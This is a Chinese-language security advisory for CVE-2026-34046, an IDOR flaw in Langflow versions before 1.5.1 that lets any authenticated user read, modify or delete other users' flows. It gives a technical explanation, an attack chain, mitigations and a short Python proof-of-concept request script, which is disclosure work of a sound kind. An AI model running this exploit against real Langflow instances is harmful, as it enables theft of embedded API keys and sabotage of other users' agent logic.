IPBUF安全漏洞报告
English
CVE-2026-34046 CVSS 8.8 高危

CVE-2026-34046 Langflow越权读写漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34046
漏洞类型
越权漏洞 (IDOR)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

IDOR越权漏洞Langflow权限绕过信息泄露

漏洞概述

Langflow在1.5.1之前的版本中存在严重的越权漏洞。其`_read_flow`辅助函数在认证开启模式下,未能正确实施所有权检查,导致任何经过身份验证的用户均可读取、修改或删除其他用户的flow数据。攻击者可利用此漏洞窃取flow中嵌入的明文API密钥或篡改AI代理逻辑,造成严重的安全风险。

技术细节

该漏洞源于Langflow后端代码`src/backend/base/langflow/api/v1/flows.py`中的权限验证逻辑缺陷。`_read_flow`辅助函数依据`AUTO_LOGIN`配置项进行分支处理,旨在区分公共流(示例flow)与私有流。然而,当`AUTO_LOGIN`为`False`即认证模式开启时,代码逻辑错误地移除了对`user_id`的过滤条件。这使得后端数据库查询仅基于UUID匹配,而忽略了请求者的身份校验。因此,任何拥有合法账号的攻击者,只需通过枚举或猜测目标flow的UUID,并发送带有自身认证Token的API请求,即可成功访问、篡改甚至删除其他用户的私有flow。这直接导致了敏感信息(如API Key)泄露及业务逻辑被篡改。官方在1.5.1版本中通过移除条件判断并强制限定查询范围修复了此问题。

攻击链分析

STEP 1
1. 注册与认证
攻击者在Langflow平台注册一个普通账户并登录,获取有效的认证Token。
STEP 2
2. 信息收集
攻击者通过社会工程学、猜测或枚举方式获取目标用户flow的UUID。
STEP 3
3. 发送恶意请求
攻击者构造API请求,将目标UUID和自身的Token发送给`/api/v1/flows/{uuid}`接口。
STEP 4
4. 绕过验证
后端服务因漏洞未校验UUID归属,直接返回了目标flow的数据。
STEP 5
5. 数据窃取与篡改
攻击者解析返回数据获取API Key,或发送修改/删除请求破坏目标flow。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://vulnerable-langflow-instance" victim_flow_id = "<uuid_of_victim_flow>" # UUID of the flow to access attacker_token = "<attacker_auth_token>" # Valid token of any authenticated user # Headers headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Exploit: Read arbitrary flow (Bypass Ownership Check) url = f"{target_host}/api/v1/flows/{victim_flow_id}" response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Flow Data:") print(response.json()) else: print("[-] Failed to exploit") print(response.text) # Note: Similar requests can be sent to DELETE or PUT (modify) the flow.

影响范围

Langflow < 1.5.1

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应限制Langflow服务的网络访问权限,仅通过VPN或受信任的内网IP访问,并监控异常的API流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表